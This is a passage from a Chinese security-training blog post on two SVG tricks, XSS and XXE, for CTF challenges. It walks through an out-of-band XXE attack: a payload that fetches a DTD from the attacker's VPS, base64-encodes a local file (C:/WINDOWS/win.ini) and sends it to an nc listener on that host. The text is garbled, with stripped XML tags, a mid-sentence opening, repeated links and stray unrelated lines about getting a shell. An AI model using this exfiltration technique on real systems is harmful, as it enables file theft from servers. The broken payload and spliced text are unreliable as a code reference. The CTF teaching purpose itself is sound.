本文来源:蚁景科技
本文首发于“合天网安实验室”作者:Kawhi
https://github.com/digininja/svg_xss
https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html
本文首发于“合天网安实验室”作者:Kawhi
本文涉及靶场知识点:
XXE漏洞分析与实践:">这里有几个需要注意的点:ip换成自己的vps的ip这里的会被xml解析成%,如果直接用%的话我本地会报错。注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。最后我们POST提交的payload?xml version="1.0"?> !DOCTYPE Note [ !ENTITY % remote SYSTEM "http://ip/xml.dtd"> %remote; %start; %send; ]>这里的ip同样换成自己的vps的ip下一步在VPS上开启监听1234端口nc -lvp 1234然后我们抓xml.php的POST包并发送payload可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。我们来梳理一下他的整个调用过程- 首先我们payload中的% remote去获取vps上的xml.dtd
- 然后xml.dtd中的% start去调用% file
- % file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
- 最后通过% send将数据发送到vps监听的1234端口上
- 用户r1ck的操作记录在哪儿来着
- 如果你发现了sql注入,直接getshell吧,flag在/app目录里
总结
SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:https://svg.digi.ninja/https://github.com/digininja/svg_xss
参考链接
http://yulige.top/?p=665https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html
转载请注明来自网盾网络安全培训,本文标题:《浅谈SVG的两个黑魔法》
标签:SVG